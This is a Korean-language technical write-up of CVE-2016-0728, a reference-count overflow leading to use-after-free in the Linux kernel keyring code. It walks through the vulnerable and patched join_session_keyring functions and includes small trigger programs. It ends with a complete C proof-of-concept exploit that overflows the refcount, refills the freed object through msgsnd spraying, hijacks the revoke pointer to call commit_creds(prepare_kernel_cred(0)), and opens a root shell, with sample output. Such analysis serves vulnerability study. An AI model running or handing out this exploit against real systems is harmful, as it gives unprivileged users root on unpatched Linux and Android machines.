Contents
Information
Vulnerability
PoC
Information
2016년, Perception Point팀이 Linux kernel
에서의 LPE
취약점을 발견했다.
이 취약점은 2012년부터 존재했지만 2016년 근래에서야 취약점을 발견하였다.
천만대의 Linux
개인 PC와 66%
프로의 Android device
에 영향을 준다.
이 취약점의 PoC
가 성공적으로 실행되면 root
권한을 획득할 수 있다.
취약점은 32bit
,64bit
상관없이 발생하며, 3.8
버전 이상의 모든 리눅스 커널에서 발생한다.
Vulnerability
크게 두가지 취약점이 발생한다.
Integer Overflow
Use - After - Free
Integer Overflow 취약점이 존재하는 부분은 keyctl
이라는 커맨드이다.
요약하자면, keyctl
은 리눅스의 키(key)를 보유 및 관리하는 시스템이다.
keyctl(KEYCTL_JOIN_SESSION_KEYRING, 명칭)
을 이용하여 현재의 세션에서 새로운 keyring
을 생성할 수 있다.
그 후, 해당 keyring
에 이름을 지정할 수 있다.
keyring
은 같은 이름의 keyring
을 참조하여 서로 다른 프로세스에서 공유를 할 수 있다.
만약 하나의 keyring
이 여러 프로세스에서 공유되고 있다면 usage
라는 필드에 위치한 객체의 내부 레퍼런스 카운트가 계속해서 증가하게 된다.
일단 코드를 분석해보자.
아래 코드는 취약점이 패치되지 않은 코드이다.
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;
serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);
/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false); // find_keyring_by_name increments keyring usage if a keyring was found
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2; // The bug is here, skips key_put.
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex); // 뮤텍스를 해제한다. (동기화 해제)
ret = keyring->serial; // 생성된 새로운 serial을 리턴값에 넣는다.
key_put(keyring); // keyring에 대한 레퍼런스 카운터를 증가시킨다.
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
else if (IS_ERR(keyring))
: 만일 존재하기는 하는데 해당 keyring
이 정상적이지 않은 데이터일 경우 에러를 리턴한다.
else if (keyring == new->session_keyring)
: key가 존재하지만 keyring
이 새로운 session_keyring
과 같다면 error2
로 점프한다.
mutex_unlock(&key_session_mutex);
: mutex
를 해제한다.
전체적인 흐름은 크게 두가지이다.
join_session_keyring
함수가 호출되면 현재 검색하는key
가 리스트에 있는지 찾는다.존재 한다면 평범하게 종료, 존재하지 않으면 새로 할당을 수행 한다.
코드 내의
session_keyring
은cred struct
에 정의되어있다.
struct key __rcu *session_keyring; /* keyring inherited over fork */
새로 세션을 생성하고 난 후에 상속받은
keyring
을 의미하는 듯 하다.
int main()
{
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
return 0;
}
위의 코드에서 keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
로 keyring
을 만들면 일단 find_keyring_by_name
을 통하여 keyring
을 검사한다.
그리고 우리가 원하는 대로 join_session_keyring
으로 진입한다.
이렇게 코드가 종료되면 위에서 설명했듯이 keyring
에 대한 reference count
가 계속해서 증가한다.
함수는 이러한 레퍼런스 카운트를 감소시키는 역할을 한다.
하지만, else if
문을 거쳐 key_put
함수를 skip
여기서 취약점이 발생하게 된다.
keyring
의 정보는 /proc/keys
에 저장되어있으므로, /proc/keys
를 확인해보자.
int main()
{
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
system("cat /proc/keys");
return 0;
}
$ ./key_test
0b824895 I--Q--- 8 perm 3f3f0000 1000 1000 keyring TestSession: empty
$ ./key_test
0b824895 I--Q--- 9 perm 3f3f0000 1000 1000 keyring TestSession: empty
$ ./key_test
0b824895 I--Q--- 10 perm 3f3f0000 1000 1000 keyring TestSession: empty
프로세스를 계속 참조하면서 계속해서 keyring
이 증가하는 것을 볼 수 있다.
이렇게 keyring
이 계속해서 증가하는 과정에서 Integer overflow가 발생한다.
reference count
를 관리하는 구조체는 아래와 같다.
typedef struct {
int counter;
:
:
} atomic_t;
atomic_t
은 사실상 int
타입이다.
즉, 우리가 0xffffffff
번 만큼 실행을 시킨다면, 오버플로우를 통하여 0으로 초기화 시킬 수 있다.
0 x ff ff ff ff ( 2^32 )
int main()
{
int i;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);
for(i = 0; i < 0xffffffff; i++)
{
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
}
system("cat /proc/keys");
return 0;
}
$ ./key_test
0e9553ee I--Q--- 4 perm 3f3f0000 1000 1000 keyring TestSession: empty
$ cat /proc/keys
$
0xffffffff
번 실행시킨 결과이다.
cat /proc/keys
를 실행시켜도 아무런 결과가 나오지 않는다.
왜냐하면 reference count
가 0
이 된 것을 확인한 Garbage Collector
가 0번 keyring
을 free
시켜주었기 때문이다.
사실 우리는 이렇게 free
된것이 진짜로 free
된게 아니라는걸 알고있다.
왜냐하면 오버플로우로 인하여 free
되었기 때문이다.
하지만, Linux kernel
은 이를 free
된 메모리로 생각한다.
즉, 이렇게 해제된 메모리에 재할당을 하므로써 UAF
취약점을 트리거할 수 있다.
아래는 취약점이 패치된 코드이다.
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;
serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);
/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false);
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
key_put(keyring);
ret = 0;
goto error2;
}
/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring);
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
주목해야할 부분은 아래부분이다.
else if (keyring == new->session_keyring) {
key_put(keyring);
ret = 0;
goto error2;
}
goto error2
로 가기 전에 key_put(keyring)
으로 레퍼런스를 감소시킨다.
즉, Integer overflow
를 방지해준다.
여기까지 Integer overflow
와 Using-After-Free
취약점이 어떤식으로 트리거되는지 알아보고, 코드에 어떠한 오류가 있는지 알아보았다.
이제 PoC Exploit
을 보자.
PoC
일단 취약점을 트리거하는 방법은 아래와 같다.
key
오브젝트를 만든다.해당
keyring
오브젝트의usage
에Interger overflow
를 발생시킨다.해당 오브젝트가
free
된다.user space
에서 이미free
된keyring
오브젝트가 사용한 공간에서 새로운 커널 오브젝트를 할당한다. 이때 할당한 오브젝트는 사용자가 컨트롤 가능한 내용이다.이전의
keyring
오브젝트를 참조하게 하여 코드를 실행시킨다.
일단 UAF
를 트리거하려면 재할당을 해야한다.
일단 현재 프로세스가 free
된 keyring
을 가르키고 있을것이다.
이제 커널 오브젝트를 할당해서 free
된 keyring
오브젝트를 덮어쓸 일만 남았다.
우리는 msgget
함수와 IPC
시스템을 활용하여 전송할 데이터의 길이를 설정하고, 커널에 값을 전달하여 메모리를 할당한다.
전송 데이터의 길이는 0xb8 ~ 0x30
으로 설정한다. 이 때, keyring
오브젝트의 데이터 길이는 0xb8
이 되며 정보헤더의 데이터 길이는 0x30
이다.
이 과정에서 SLAB 메모리 메커니즘에 관한 설명이 나온다. 이 부분은 링크를 참조하자.
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
이렇게 우리는 keyring
오브젝트의 하위 0x88
bytes를 마음대로 컨트롤 할 수 있다.
마지막으로, 어느 포인터를 덮어야할지 생각해보자.
keyring
오브젝트 내부에는 key_type
이라는 구조가 있다.
여기에는 다양한 함수 포인터가 존재한다.
이를 이용하여, key_type
내부의 함수포인터를 user space
에 존재하는 구조체를 가리켜 root
권한으로 함수 포인터를 실행시킬 수 있다.
더 자세하게 알아보자.
keyring 오브젝트는 아래와 같은 방식으로 내용을 채운다.
void key_revoke(struct key *key)
{
. . .
if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
key->type->revoke)
key->type->revoke(key);
. . .
}
keyring
의 uid
와 flags
값을 활용하여 계속해서 keyring
오브젝트를 로딩한다.
그리고 이 과정에서 테스트를 진행하는데, key -> type -> revoke
순으로 참조한다.
여기서 revoke
는 함수포인터다. 우리는 이 부분을 이용할 수 있다.
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
struct key_type_s {
void * [12] padding;
void * revoke;
} type;
_commit_creds commit_creds = 0xffffffff81094250;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
...
struct key_type * my_key_type = NULL;
...
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
...
}
commit_creds
와 prepare_kernel_cred
함수의 주소를 구한 후, my_key_type->revoke = (void*)userspace_revoke;
으로 revoke
함수에 commit_creds
와 prepare_kernel_cred
함수를 넣어준다. 그리고 이를 실행시킨다.
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct {
long mtype;
char mtext[STRUCT_LEN];
}
msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
$./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=0, euid=0
# whoami
root
정상적으로 root
쉘을 획득할 수 있다.